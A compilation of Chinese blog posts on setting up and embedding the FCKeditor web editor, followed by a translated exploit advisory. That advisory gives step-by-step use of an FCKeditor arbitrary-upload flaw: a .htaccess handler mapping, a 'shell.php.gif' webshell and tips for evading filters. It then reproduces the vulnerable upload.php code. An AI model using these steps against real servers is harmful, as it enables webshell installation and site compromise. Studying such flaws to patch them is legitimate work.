FCKeditor(asp版、js版、jsp版)环境调用方法

FCKeditor asp调用方法

<!– #INCLUDE file=”fckeditor/fckeditor.asp” –>
<form action=”sampleposteddata.asp” method=”post” target=”_blank”>
<%
Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/FCKeditor/”
oFCKeditor.ToolbarSet = “Default”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “400”
oFCKeditor.Value = “1234123123”
oFCKeditor.Create “Content”
%>
<br>
<input type=”submit” value=”Submit” />
</form>

FCKeditor js调用方法①

<script src=”fckeditor/fckeditor.js”></script>
<script type=”text/javascript”>
var oFCKeditor = new FCKeditor( ‘Content’ ) ;
oFCKeditor.BasePath = ‘fckeditor/’ ;
oFCKeditor.ToolbarSet = ‘Basic’ ;
oFCKeditor.Width = ‘100%’ ;
oFCKeditor.Height = ‘400’ ;
oFCKeditor.Value = ” ;
oFCKeditor.Create() ;
</script>

FCKeditor js调用方法②

<script src=”fckeditor/fckeditor.js”></script>
<script type=”text/javascript”>
<!–
function showFCK(){
var oFCKeditor = new FCKeditor(‘Content’) ;
oFCKeditor.BasePath = ‘fckeditor/’ ;
oFCKeditor.ToolbarSet = ‘Basic’ ;
oFCKeditor.Width = ‘100%’ ;
oFCKeditor.Height = ‘200’ ;
oFCKeditor.Value = ” ;
oFCKeditor.ReplaceTextarea() ;

document.getElementById(“btnShow”).disabled = ‘true’;
document.getElementById(“btnShow”).style.display = ‘none’;

}
//–>
</script>
<textarea name=”Content”></textarea>
<input id=btnShow style=”display:inline” type=button onclick=”showFCK()”>
FCKeditor jsp调用方法:

<%@ page contentType=”text/html;charset=GB2312″ language=”java”%>
<%@ taglib uri=”/WEB-INF/FCKeditor.tld” prefix=”fck” %>
<html>
<head>
<title>在线编辑器FCKeditor的应用</title>
</head>
<body>
<h2>在线编辑器FCKeditor的应用</h2>
<hr>
<form action=”process.jsp”>
<fck:editor id=”testfck” basePath=”/FCKeditor/”
height=”60%”
skinPath=”/FCKeditor/editor/skins/default/”
toolbarSet=”Default”
imageBrowserURL=”/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector”
linkBrowserURL=”/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector”
flashBrowserURL=”/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Flash&Connector=connectors/jsp/connector”
imageUploadURL=”/FCKeditor/editor/filemanager/upload/simpleuploader?Type=Image”
linkUploadURL=”/FCKeditor/editor/filemanager/upload/simpleuploader?Type=File”
flashUploadURL=”/FCKeditor/editor/filemanager/upload/simpleuploader?Type=Flash”>
</fck:editor>
<input type=”submit” name=”submit” value=”提交”/>
</form>
</body>
</html>

FCKeditor 2.6.4 ASP安装配置使用说明

根目录下:editor目录 、fckconfig.js、 fckeditor.asp fckeditor.js fckstyles.xml fcktemplates.xml 这几个保留,其余的全部去除;

子目录下:editor\filemanager\connectors目录中 把asp目录留下(上传用什么方法就留下什么),其余的方法目录[php、aspx 等待 目录] 删除(注意留下test.html 和 uploadtest.html)

editor\lang 语言目 把 en.js 、 zh.js 、 zh-cn.js 留下,其余全部删除

FCKeditor的官方网站去下载最新版本:

http://www.fckeditor.net/download

和其他脚本类的程序一样,FCKeditor的安装其实就是源代码的拷贝。我们按照官方的方法,在网站根目录下建立FCKeditor这样一个文件夹,然后把下载下来的文件包释放到该文件夹中。
安装好后,就是配置和使用了,我只对一般的使用(ASP环境)进行了配置,源文件的精简,复杂应用不去管它。配置时需要改动几个文件,我们按功能来分,不按文件来分,这样读者更容易明白。

1、默认语言
打开fckconfig.js文件(相对FCKeditor文件夹,以下同),把自动检测语言改为不检测,把默认语言改为简体中文:

程序代码 程序代码
FCKConfig.AutoDetectLanguage = false ;
FCKConfig.DefaultLanguage   = ‘zh-cn’ ;

FCKConfig.TabSpaces   = 1 ; //在编辑器中是否可以是否TAB键 0 不可用 1 为可用

2、字体列表
打开fckconfig.js文件,在字体列表中添加常用的“宋体;黑体;隶书;楷体_GB2312”:

程序代码 程序代码
FCKConfig.FontNames   = ‘宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana’ ;

编辑器域内默认的显示字体为12px,想要修改可以通过修改样式表来达到要求,打开/editor/css/fck_editorarea.css,把第4行改为 font-size: 14px;即可。

3、文件上传
FCKeditor的文件管理程序在filemanager文件夹中,又分为浏览(browser)和上传(upload)两种。浏览是指浏览服务器文件并可以选择,也可以上传本地文件至服务器;上传是指快速上传(QuickUpload),在窗口中点“上传”选项卡打开就是,跟我们使用的UBB编辑器有点相似,选择本地文件后上传就行。
也就是说FCKeditor中有一个文件浏览,有两个文件上传,而这些设置有些在一个文件中,有的则在多个文件中。比较复杂,改动比较多,我们再分几个小点儿来说。

①打开和关闭文件浏览和上传功能
有三个文件跟这个开关有关系,一个是js文件,两个是asp文件,前者关闭后界面中不出现相关窗口或按钮,后者关闭后相关功能不可用。
首先是fckconfig.js文件,以下内容设为true为开,false则为关。
文件浏览和浏览中上传功能:

程序代码 程序代码
FCKConfig.LinkBrowser = false ;
FCKConfig.ImageBrowser = false ;
FCKConfig.FlashBrowser = false ;

文件快速上传功能:

程序代码 程序代码
FCKConfig.LinkUpload = true ;
FCKConfig.ImageUpload = true ;
FCKConfig.FlashUpload = true ;

其次设置两个asp文件:
editor\filemanager\connectors\asp\config.asp

程序代码 程序代码
ConfigIsEnabled = False

表示文件浏览关闭

editor\filemanager\connectors\asp\config.asp

程序代码 程序代码
ConfigIsEnabled = True

表示文件快速上传打开

②文件上传
上传的路径设置:
打开文件editor\filemanager\connectors\asp\config.asp:

程序代码 程序代码
ConfigUserFilesPath = “/userfiles/”

我的文件目录在http://www.wedonet.com/userfiles/下面,就照以上设置。
如果在本地测试这个网站在虚拟目录test中,则应该设置为:

程序代码 程序代码
ConfigUserFilesPath = “/test/userfiles/”

现在测试一下,点击“上传至服务器”的按钮后没有任何反应。这就是因为fckconfig.js文件中把默认语言”php”改成”asp”.

程序代码 程序代码
var _FileBrowserLanguage     = ‘php’ ;     // asp | aspx | cfm | lasso | perl | php | py
var _QuickUploadLanguage     = ‘php’ ;     // asp | aspx | cfm | lasso | perl | php | py

④上传文件名自动更名
FCKeditor不支持中文文件名称,所以我们要让文件存入服务器时更改名称。由于有两个上传的地方,而且所用文件不同,所以两个文件应该同时改,我们先来看看快速上传的文件,打开editor\filemanager\connectors\asp\upload.asp,在文件最后添加以下函数:

我是在FileUpload sResourceType, sCurrentFolder, sCommand下面加的这个函数~

程序代码 程序代码
Public Function GetNewFileName()
dim ranNum
dim dtNow
dtNow=Now()
randomize
ranNum=int(90*rnd)+10
GetNewFileName=year(dtNow) & right(“0” & month(dtNow),2) & right(“0” & day(dtNow),2) & right(“0” & hour(dtNow),2) & right(“0” & minute(dtNow),2) & right(“0” & second(dtNow),2) & ranNum
End Function

我们用年月日时分秒和两位随机数字来作为文件名,这样既能够分辨出文件上传时间,也不容易重名。

然后仍然是这个文件editor\filemanager\editor\filemanager\connectors\asp\commands.asp,找到:

程序代码 程序代码
‘ Get the uploaded file name.
sFileName     = oUploader.File( “NewFile” ).Name

把它改为:

程序代码 程序代码
‘ Get the uploaded file name.
sFileName   = GetNewFileName() &”.”& split(oUploader.File( “NewFile” ).Name,”.”)(1)

最后一步:
在ASP源程序中引用FCKeditor编辑器
首先在asp页面顶端插入服务器端包含语句:

程序代码 程序代码
<!–#include file=”FCKeditor/fckeditor.asp” –>

然后在表单里面添加以下代码:

程序代码 程序代码
Dim oFCKeditor’ 定义变量
Set oFCKeditor = New FCKeditor’ 类的初始化
oFCKeditor.BasePath     = “/fckeditor/”‘ 定义路径(这是根路径:/FCKeditor/)
oFCKeditor.BasePath=”FCKeditor/”‘ 定义工具条(默认为:Default)
oFCKeditor.ToolbarSet=”Basic”‘ 定义宽度(默认宽度:100%)
oFCKeditor.Width=”100%”‘ 定义高度(默认高度:200)
oFCKeditor.Height=350’ 输入框的初始值
oFCKeditor.Value=”这是示例文本。”
oFCKeditor.Create “FCKeditor1”

这样就在表单里面创建了一个隐藏的名称为content的输入框,可以和其他表单元素一样使用,例如用以下代码取得该输入框的值:

程序代码 程序代码
Dim content
content=     checkstr(request.Form(“FCKeditor1”))

FCKeditor在ASP配置环境中的使用

先说一下我的测试环境:XPSP2,IIS5.1,FCKeditor2.0

在IIS上建立一个新的站点,我直接取名为FCKeditor

在DW里建立一个相对应的站点,测试服务器为本机,支持VBScript

下载FCKeditor2.0,这个东西是开源的,网上能下到的地方很多,自己找去……

下载下来的应该是压缩包,解压到FCKeditor站点根目录,什么都不需要更改,直接就可以开始调用了。等你会了的时候,会发现简单得要死去!

在站点根目录下,新建一个index.asp页面,段内加如下代码(调用编辑器):

 

<%
Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/FCKeditor/”  //设置编辑器的路径,我站点根目录下的一个目录
oFCKeditor.ToolbarSet = “Default”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “600”
oFCKeditor.Value = “” //这个是给编辑器初始值
oFCKeditor.Create “logbody” //以后编辑器里的内容都是由这个logbody取得,命名由你定
%>

 

<%

Dim oFCKeditor

Set oFCKeditor = New FCKeditor

oFCKeditor.BasePath = “/FCKeditor/” //设置编辑器的路径,我站点根目录下的一个目录

oFCKeditor.ToolbarSet = “Default”

oFCKeditor.Width = “100%”

oFCKeditor.Height = “600”

oFCKeditor.Value = “” //这个是给编辑器初始值

oFCKeditor.Create “logbody” //以后编辑器里的内容都是由这个logbody取得,命名由你定

%>

加了这一段别忘了在index.asp前面第二行加上

<!–#include file=”FCKeditor/fckeditor.asp” –>

把fckeditor.asp包含进来。切记切记!

就这么简单!

现在你只要把这个编辑器当成一个控件来使用,提取它的数据时用:request(“logbody”)

现在松口气吧。测试成功了。里面有些设置,去网上找些高级的使用说明来看吧。

FCKeditor使用初步

以下内容为原创,如需转载,请注明出处为http://3rgb.com 作者:柠檬园主

FCKeditor 2.0版终于出来了,之所以用“终于”这个词,是因为在这一版本上加上了众望所归的FLASH插入功能。可以说在所有的在线编辑器中,FCKeditor是目前互联网上最好的编辑器,功能强大,支持多种浏览器,无平台限制,可以和多种WEB语言融合,多语言支持,开源等~~

对于一个全新的网站,FCKeditor就可以直接拿过来用了,不需要进行什么修改。但是对于绝大多数的已有网站而言,FCKeditor的一些设置并不适合自己的使用,这篇文章旨在告诉你简单的修改FCKeditor以方便您的网站的使用。

第一项工作就是对这个功能宏大的编辑器进行精简,当然是文件精简而非功能精简化。在这里我以asp版的FCKeditor为例进行,进入到FCKeditor 2.0文件夹下,先把以“_”为开头的文件夹统统删除,这些文件夹里放的是范例或是一些其它工具。其实也就是只保留editor文件夹、fckconfig.js、fckeditor.asp、fckeditor.js、fckstyles.xml、fcktemplates.xml就可以了,最外层的精简化完毕,进入到editor文件夹内,先把“_source”文件夹删除,这里是一些源文件,对于使用来说没什么用处。

进入images文件夹,删除smiley文件夹,些文件是放表情图标的,由于接下来我会用我自己的表情图标,先把他们的删除,当然,如果你想用这里的表情图标那就不要删掉了。退出 images再进入lang文件夹内,这里的东西可以来个大清洗了,只保留fcklanguagemanager.js、zh-cn.js、en.js、zh.js这四个文件,第一个文件是语言配置文件,有了它才能和fckconfig.js里的设置成对对应上相应的语言文件,zh-cn.js是简体中文语言包,en.js就不用说了吧,zh.js是繁体中文的。怎么样?一下子少了几百K,爽吧~

再退出lang文件夹,进入skin文件夹,如果你想使用fckeditor默认的这种奶黄色,那就把除了default文件夹外的另两个文件夹直接删除,如果想用别的,那就自己考虑了,不过我给你个建议,如果不想用默认的,那就选那个silver,因为银色也就是灰色和任何颜色配起来都不会难看,而那个office2003的皮肤,反正我是非常不喜欢的,并且图片相对也比较大,又增加了下载时间,不要!

精简的最后一步,退出skin文件夹,再进入filemanager,如果你用的不是最新版的fckeditor的话,那这里就一个文件夹browser,新版的还有一个upload文件夹。一个个来,先进入到filemanager/browser/default/connectors/下,因为我是用的asp的,所以除asp文件夹外,全部删除。然后再进入filemanager/upload/下,同样,只留asp文件夹,至此,编辑器的精简化已经结束了,接下来,我们对编辑器进行设置修改。

第一个修改的文件,也就是fckeditor总配置文件,位于根目录下的fckconfig.js文件。请根据下面的列表进行(以fckeditor 2.0版的为准):

找到第20行 FCKConfig.DefaultLanguage = ’en’ ;改为 FCKConfig.DefaultLanguage = ’zh-cn’ ;设置默认语言为简体中文

找到第40行 FCKConfig.TabSpaces = 0 ; 改为FCKConfig.TabSpaces = 1 ; 即在编辑器域内可以使用Tab键。

如果你的编辑器还用在网站前台的话,比如说用于留言本或是日记回复时,那就不得不考虑安全了,在前台千万不要使用Default的toolbar,要么自定义一下功能,要么就用系统已经定义好的Basic,也就是基本的toolbar,

找到第64行 FCKConfig.ToolbarSets[“Basic”] = [

[’Bold’,’Italic’,’-’,’OrderedList’,’UnorderedList’,’-’,/*’Link’,*/’Unlink’,’-’,’Style’,’FontSize’,’TextColor’,’BGColor’,’-’,’Smiley’,’SpecialChar’,’Replace’,’Preview’]

] ;

这是我改过的Basic,把图像功能去掉,把添加链接功能去掉,因为图像和链接和flash和图像按钮添加功能都能让前台页直接访问和上传文件,要是这儿不改直接给你上传个木马还不马上玩完?但是光这样还不行,fckeditor还支持编辑域内的鼠标右键功能。

找到第73行

FCKConfig.ContextMenu = [’Generic’,/*’Link’,*/’Anchor’,/*’Image’,*/’Flash’,’Select’,’Textarea’,’Checkbox’,’Radio’,’TextField’,’HiddenField’,/*’ImageButton’,*/’Button’,’BulletedList’,’NumberedList’,’TableCell’,’Table’,’Form’] ;

这也是我改过的把鼠标右键的“链接、图像,FLASH,图像按钮”功能都去掉。

找到 第77行 FCKConfig.FontNames = ’Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana’ ;

加上几种我们常用的字体 FCKConfig.FontNames = ’宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana’ ;

接下来就设置上传功能了,还是以ASP为例,其实fck默认的就是asp的,把100行以下的所有被注释掉的代码全部删掉就行,然后再把下面所有有关于browser.html和upload.asp的后面的?Type=XX都改成Type=YY,其中YY为你想保存文件的文件夹名称。

而如果你还想用自己的表情图标的话,那跳到131行,改掉那个表情图标的文件夹地址,以及下面的表情图标的文件名,再下面那三个数字是每行显示表情数及弹出窗口的宽和高了,这个的大小要根据您的表情图标排列的窗口的大小而定了。OK,总配置文件修改结束。

接下来是编辑器位置的设置,我的习惯是把editor放在根目录下,最开始所述的五个文件也放在根目录下(Tips:建议放在根目录下,并且建议使用时设置路径也采用绝对路径,如”/fckeditor/”,而我的习惯的设置是”/”),这样有利于fckeditor的更新升级,并且网站下所有文件夹都可以任意调用,不存在其它文件夹名变了而其它地方就无法使用编辑器的问题。

打开fckeditor.asp文件,找到 sBasePath = “/fckeditor/”改为 sBasePath = “/”

打开fckeditor.js文件,找到 this.BasePath = ’/fckeditor/’ ;改为 this.BasePath = ’/’ ;

编辑器域内默认的显示字体为12px,而我的主页默认字体为14px,所以看着就很不舒服,想要修改可以通过修改样式表来达到要求,打开/editor/css/fck_editorarea.css,把第4行改为 font-size: 14px;即可。

接下来就是上传文件的设置了,这个比较麻烦,请仔细操作。

打开\editor\filemanager\browser\default\frmresourcetype.html,找到第15行,插入“ [’uploadfile’,’uploadfile’],”配合上刚才在fckconfig.js里的设置,那么我的上传文件路径就是/uploadfile,当然你也可以改成你想要的文件夹,但这里的名称一定要和fckconfig.js里的那个“Type=YY”里的YY一致才行。

还没完,继续进入到editor\filemanager\browser\default\connectors\asp,打开config.asp,先把ConfigIsEnabled = False改成为ConfigIsEnabled = True,要不是没法上传文件的,再把ConfigUserFilesPath = “/UserFile”改成我想要的ConfigUserFilesPath = “/”。

接着在“Set ConfigDeniedExtensions = CreateObject( “Scripting.Dictionary” )”后面加入ConfigAllowedExtensions.Add “uploadfile”, “”

ConfigDeniedExtensions.Add “uploadfile”, “”

同理,这里的设置也是要和上面以及fckconfig.js里面对应的。

还有一个上传,就是快速上传,这个功能是在fckeditor 2.0里才有的,以前的版本没这个功能。进入\editor\filemanager\upload\asp,同样打开config.asp,也同样的把ConfigIsEnabled = False 设置成 ConfigIsEnabled = True,我这里把ConfigUserFilesPath = “/UserFiles/”改成我想要的 ConfigUserFilesPath = “/uploadfile/”& Year(Date()) &”-“& Month(Date()) &”/”,因为我的上传文件是放在uploadfile文件夹下,并且是按月分开放置的。快速上传,不会让你选择文件夹,而是通过这里的设置直接上传的,这儿设置如果和前面的设置配合不好的话,你的文件就会被上传得乱七八糟,很不方便管理。接前重复前一个config.asp里的操作,在后面加上

ConfigAllowedExtensions.Add “uploadfile”, “”

ConfigDeniedExtensions.Add “uploadfile”, “”

接下来呢,就讲一下如何创建自己的在线编辑器,这里以ASP和JS版的为例,ASP版示例代码,一般用于后台操作:

 

 <%
Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/”
oFCKeditor.ToolbarSet = “Default”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “400”
oFCKeditor.Value = rs(“logbody”)
oFCKeditor.Create “logbody”
%>

 

<%

Dim oFCKeditor

Set oFCKeditor = New FCKeditor

oFCKeditor.BasePath = “/”

oFCKeditor.ToolbarSet = “Default”

oFCKeditor.Width = “100%”

oFCKeditor.Height = “400”

oFCKeditor.Value = rs(“logbody”)

oFCKeditor.Create “logbody”

%>

ASP版的,当然只能用在以.asp为扩展名的页面中,如果你在前在fckedito.asp里设置过BasePath为”/”的话,这里就可以省掉第三行,ASP版的只有一个Create函数。建议在修改一篇内容时用ASP版的。

接下来看JS版的:

 

 <script type=”text/javascript”>
var oFCKeditor = new FCKeditor( ’logbody’ ) ;
oFCKeditor.BasePath = ’/’ ;
oFCKeditor.ToolbarSet = ’Basic’ ;
oFCKeditor.Width = ’100%’ ;
oFCKeditor.Height = ’400’ ;
oFCKeditor.Value = ’’ ;
oFCKeditor.Create() ;
</script>

 

BasePath的设置同上所述,JS版的可用于任何网页中,甚至用于html页面,因为其是客户端生成的,这样的好处就是一可以减小网络流量,因为编辑器文件只需下载一次,二是可以由客户端定义什么时候显示,由于fckeditor初始化需要一定时间,在这一点上JS就很有作用了。

另外,JS版的还有一个功能函数就是ReplaceTextarea()函数,可以替换指定的TextArea,拿我的网站的日志的回复部分示例:

 

     <script type=”text/javascript”>
<!–
function showFCK(){
var oFCKeditor = new FCKeditor( ’fbContent’ ) ;
oFCKeditor.BasePath = ’/’ ;
oFCKeditor.ToolbarSet = ’Basic’ ;
oFCKeditor.Width = ’100%’ ;
oFCKeditor.Height = ’200’ ;
oFCKeditor.Value = ’’ ;
//oFCKeditor.Create() ;
oFCKeditor.ReplaceTextarea() ;
//document.blog_feedback.blogsubmit.disabled = ’’;
document.blog_feedback.blogsubmit.style.display = ’’;
document.blog_feedback.openFCK.disabled = ’true’;
document.blog_feedback.openFCK.style.display = ’none’;
}
//–>
</script>

 

把其写成一个简单的函数,当用户显示打开编辑器时才生成这个fckeditor,不用每次刷新页面都去初始化一个编辑器,页面的速度就会快多了。

补遗:前面讲到了,说是在编辑已有数据内容时不要用JS版的,那是因为单引号(’)的问题造成的,在数据内容里难免会有单引号存在而用JS版生成编辑器时可能就会因为单引号问题,而使编辑器无法正常生成,而采用asp则不同,用ASP版本的是因为数据被当成是一个变量了,然后直接赋值给编辑器域。还有就是除非你要用ReplaceTextArea()方法来生成编辑器,否则你不需先写一个<textarea>这样的标签,一切都会由fckeditor自动生成的,你所需做的只是给fckeditor指定一个实例名。同时你也不用担心如何提交,在表单提交的时候,fckeditor会自动提交,提交的变量名是以你指定的fckeditor实例命名的。

FCKeditor 调用方法

FCKeditor asp调用方法1
<!– #INCLUDE file=”FCKeditor/FCKeditor.asp” –>
<form action=”sampleposteddata.asp” method=”post” target=”_blank”>
<%
Dim oFCKeditor
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/FCKeditor/”
oFCKeditor.ToolbarSet = “Default”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “400”
oFCKeditor.Value = “1234123123”
oFCKeditor.Create “Content”
%>
<input type=”submit” value=”Submit” />
</form>

FCKeditor asp调用方法2

<!–#include file=”FCKEditor/fckeditor.asp” –>

<%
‘多个控件使用一个编辑器
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/fckeditor/”
oFCKeditor.ToolbarSet = “yongfa365”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “100”
oFCKeditor.Config(“ToolbarLocation”) =”Out:xToolbar”
oFCKeditor.Value = “”
oFCKeditor.Create “txtContentHeader”
%>

<div id=”xToolbar”></div>
<%
Set oFCKeditor = New FCKeditor
oFCKeditor.BasePath = “/fckeditor/”
oFCKeditor.ToolbarSet = “yongfa365”
oFCKeditor.Width = “100%”
oFCKeditor.Height = “400”
oFCKeditor.Config(“ToolbarLocation”) =”Out:xToolbar”
oFCKeditor.Value = “”
oFCKeditor.Create “txtContent”
%>

————————————————————————————————————-
FCKeditor js调用方法1
<script src=”FCKeditor/FCKeditor.js”></script>
<script type=”text/javascript”>
var oFCKeditor = new FCKeditor( ‘Content’ ) ;
oFCKeditor.BasePath = ‘FCKeditor/’ ;
oFCKeditor.ToolbarSet = ‘Basic’ ;
oFCKeditor.Width = ‘100%’ ;
oFCKeditor.Height = ‘400’ ;
oFCKeditor.Value = ” ;
oFCKeditor.Create() ;
</script>
FCKeditor js调用方法2
<script src=”FCKeditor/FCKeditor.js”></script>
<script type=”text/javascript”>
<!–
function showFCK(){
var oFCKeditor = new FCKeditor(‘Content’) ;
oFCKeditor.BasePath = ‘FCKeditor/’ ;
oFCKeditor.ToolbarSet = ‘Basic’ ;
oFCKeditor.Width = ‘100%’ ;
oFCKeditor.Height = ‘200’ ;
oFCKeditor.Value = ” ;
oFCKeditor.ReplaceTextarea() ;
document.getElementById(“btnShow”).disabled = ‘true’;
document.getElementById(“btnShow”).style.display = ‘none’;

}
//–>
</script>
<textarea name=”Content”></textarea>
<input id=btnShow style=”display:inline” type=button onClick=”showFCK()”>

Fckeditor PHP版本爆出新漏洞了

In The Name Of GOD

[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR
———————————————————
1.create a htaccess file:
code:
<FilesMatch “_php.gif”>
SetHandler application/x-httpd-php
</FilesMatch>
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
———————————————————————————————-
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.

———————————————————

http://www.exploit-db.com/exploits/17644/

这个是exploit-db上的原文,我就是个翻译一下

1.首先在本地创建一个.htaccess(注意前面有个点),内容为:

<FilesMatch “_php.gif”>

SetHandler application/x-httpd-php

</FilesMatch>

2.然后用fckeditor把这个文件上传上去(至于FCKEDITOR如何上传这里不再赘述)

3.创建一个webshell,比如phpspy什么的,然后把后缀名改成shell.php.gif,上传上去。(可以用GIF文件头欺骗,不过有的过滤很严,可能上不上去,最后我会说一种方法,上传成功率高些)

4.文件名会变成shell_php.gif,访问这个文件,就会发现,你已经得到webshell

写在最后:

这个漏洞的还是很有局限性的,只适用于PHP的fck,而且还必须是apache之类的服务器,IIS什么的都不行。

还有就是有些人可能会遇到在上传图片的时候,fckeditor报错,说是错误的文件什么的,这里有个方法:

可以换种上传类型,用Flash上传就不会碰到类似的限制,不过.htaccess文件的内容也要改改,还有shell的文件名

<FilesMatch “_php.flv”>

SetHandler application/x-httpd-php

</FilesMatch>

shell的名字改成shell.php.flv 这样就可以了

Fckeditor 2.4.2 php任意上传文件漏洞

1、漏洞描述
fckeditor/editor/filemanager/upload/php/upload.php

 

<?php
/*
* FCKeditor – The text editor for Internet – http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* – GNU General Public License Version 2 or later (the “GPL”)
*    http://www.gnu.org/licenses/gpl.html
*
* – GNU Lesser General Public License Version 2.1 or later (the “LGPL”)
*    http://www.gnu.org/licenses/lgpl.html
*
* – Mozilla Public License Version 1.1 or later (the “MPL”)
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* This is the “File Uploader” for PHP.
*/

require(‘config.php’) ;
require(‘util.php’) ;

// This is the function that sends the results of the uploading process.
function SendResults( $errorNumber, $fileUrl = ”, $fileName = ”, $customMsg = ” )
{
echo ‘<script type=”text/javascript”>’ ;
echo ‘window.parent.OnUploadCompleted(‘ . $errorNumber . ‘,”‘ . str_replace( ‘”‘, ‘\\”‘, $fileUrl ) . ‘”,”‘ . str_replace( ‘”‘, ‘\\”‘, $fileName ) . ‘”, “‘ . str_replace( ‘”‘, ‘\\”‘, $customMsg ) . ‘”) ;’ ;
echo ‘</script>’ ;
exit ;
}

// Check if this uploader has been enabled.
if ( !$Config[‘Enabled’] )
SendResults( ‘1’, ”, ”, ‘This file uploader is disabled. Please check the “editor/filemanager/upload/php/config.php” file’ ) ;

// Check if the file has been correctly uploaded.
if ( !isset( $_FILES[‘NewFile’] ) || is_null( $_FILES[‘NewFile’][‘tmp_name’] ) || $_FILES[‘NewFile’][‘name’] == ” )
SendResults( ‘202’ ) ;

// Get the posted file.
$oFile = $_FILES[‘NewFile’] ;

// Get the uploaded file name extension.
$sFileName = $oFile[‘name’] ;

// Replace dots in the name with underscores (only one dot can be there… security issue).
if ( $Config[‘ForceSingleExtension’] )
$sFileName = preg_replace( ‘/\\.(?![^.]*$)/’, ‘_’, $sFileName ) ;

$sOriginalFileName = $sFileName ;

// Get the extension.
$sExtension = substr( $sFileName, ( strrpos($sFileName, ‘.’) + 1 ) ) ;
$sExtension = strtolower( $sExtension ) ;

// The the file type (from the QueryString, by default ‘File’).
$sType = isset( $_GET[‘Type’] ) ? $_GET[‘Type’] : ‘File’ ;

// Check if it is an allowed type.
if ( !in_array( $sType, array(‘File’,’Image’,’Flash’,’Media’) ) )
SendResults( 1, ”, ”, ‘Invalid type specified’ ) ;

// Get the allowed and denied extensions arrays.
$arAllowed = $Config[‘AllowedExtensions’][$sType] ;
$arDenied = $Config[‘DeniedExtensions’][$sType] ;

// Check if it is an allowed extension.
if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
SendResults( ‘202’ ) ;

$sErrorNumber = ‘0’ ;
$sFileUrl   = ” ;

// Initializes the counter used to rename the file, if another one with the same name already exists.
$iCounter = 0 ;

// Get the target directory.
if ( isset( $Config[‘UserFilesAbsolutePath’] ) && strlen( $Config[‘UserFilesAbsolutePath’] ) > 0 )
$sServerDir = $Config[‘UserFilesAbsolutePath’] ;
else
$sServerDir = GetRootPath() . $Config[“UserFilesPath”] ;

if ( $Config[‘UseFileType’] )
$sServerDir .= $sType . ‘/’ ;

while ( true )
{
// Compose the file path.
$sFilePath = $sServerDir . $sFileName ;

// If a file with that name already exists.
if ( is_file( $sFilePath ) )
{
$iCounter++ ;
$sFileName = RemoveExtension( $sOriginalFileName ) . ‘(‘ . $iCounter . ‘).’ . $sExtension ;
$sErrorNumber = ‘201’ ;
}
else
{
move_uploaded_file( $oFile[‘tmp_name’], $sFilePath ) ;

   if ( is_file( $sFilePath ) )
{
$oldumask = umask(0) ;
chmod( $sFilePath, 0777 ) ;
umask( $oldumask ) ;
}

   if ( $Config[‘UseFileType’] )
$sFileUrl = $Config[“UserFilesPath”] . $sType . ‘/’ . $sFileName ;
else
$sFileUrl = $Config[“UserFilesPath”] . $sFileName ;

   break ;
}
}

SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;
?>

 

fckeditor/editor/filemanager/upload/php/config.php

 

<?php
/*
* FCKeditor – The text editor for Internet – http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* – GNU General Public License Version 2 or later (the “GPL”)
*    http://www.gnu.org/licenses/gpl.html
*
* – GNU Lesser General Public License Version 2.1 or later (the “LGPL”)
*    http://www.gnu.org/licenses/lgpl.html
*
* – Mozilla Public License Version 1.1 or later (the “MPL”)
*    http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Configuration file for the PHP File Uploader.
*/

global $Config ;

// SECURITY: You must explicitelly enable this “uploader”.
$Config[‘Enabled’] = false ;

// Set if the file type must be considere in the target path.
// Ex: /userfiles/image/ or /userfiles/file/
$Config[‘UseFileType’] = false ;

// Path to uploaded files relative to the document root.
$Config[‘UserFilesPath’] = ‘/userfiles/’ ;

// Fill the following value it you prefer to specify the absolute path for the
// user files directory. Usefull if you are using a virtual directory, symbolic
// link or alias. Examples: ‘C:\\MySite\\userfiles\\’ or ‘/root/mysite/userfiles/’.
// Attention: The above ‘UserFilesPath’ must point to the same directory.
$Config[‘UserFilesAbsolutePath’] = ” ;

// Due to security issues with Apache modules, it is reccomended to leave the
// following setting enabled.
$Config[‘ForceSingleExtension’] = true ;

$Config[‘AllowedExtensions’][‘File’] = array() ;
